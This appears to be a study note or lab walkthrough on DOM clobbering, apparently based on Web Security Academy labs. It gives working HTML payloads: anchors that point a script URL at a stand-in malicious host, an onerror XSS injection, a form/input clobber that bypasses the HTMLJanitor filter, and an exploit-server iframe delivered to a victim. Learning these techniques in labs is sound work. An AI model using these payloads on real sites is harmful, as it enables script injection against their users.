DOM clobbering

ENTRY POINTS:

  • blog posts Comment functionality

PROPERTIES:

  • someObject

  • attributes

DOM clobbering is particularly useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes id or name are whitelisted by the HTML filter. The most common form of DOM clobbering uses an anchor element to overwrite a global variable, which is then used by the application in an unsafe way, such as generating a dynamic script URL.

How to exploit DOM-clobbering vulnerabilities

If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor. To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>

As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.

//EXPLOITS

Exploiting DOM clobbering to enable XSS

The comment functionality allows "safe" HTML

  1. Go to one of the blog posts and create a comment containing the following anchors:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">
  1. Return to the blog post and create a second comment containing any random text. The next time the page loads, the alert() is called.

When you make a second post, the browser uses the newly-clobbered global variable, which smuggles the payload in the onerror event handler and triggers the alert().

Clobbering DOM attributes to bypass HTML filters

HTMLJanitor library

Another common technique is to use a form element along with an element such as input to clobber DOM properties For example, clobbering the attributes property enables you to bypass client-side filters that use it in their logic. Although the filter will enumerate the attributes property, it will not actually remove any attributes because the property has been clobbered with a DOM node. As a result, you will be able to inject malicious attributes that would normally be filtered out. For example, consider the following injection:

<form onclick=alert(1)><input id=attributes>Click me

In this case, the client-side filter would traverse the DOM and encounter a whitelisted form element. Normally, the filter would loop through the attributes property of the form element and remove any blacklisted attributes. However, because the attributes property has been clobbered with the input element, the filter loops through the input element instead. As the input element has an undefined length, the conditions for the for loop of the filter (for example i<element.attributes.length) are not met, and the filter simply moves on to the next element instead. This results in the onclick event being ignored altogether by the filter, which subsequently allows the alert() function to be called in the browser.

  1. Go to one of the blog posts and create a comment containing the following HTML:

<form id=x tabindex=0 onfocus=print()><input id=attributes>
  1. Go to the exploit server and add the following iframe to the body:

<iframe src=https://YOUR-LAB-ID.web-security-academy.net/post?postId=3 onload="setTimeout(()=>this.src=this.src+'#x',500)">

Remember to change the URL to contain your lab ID and make sure that the postId parameter matches the postId of the blog post into which you injected the HTML in the previous step.

3. Store the exploit and deliver it to the victim. The next time the page loads, the print() function is called.

Last updated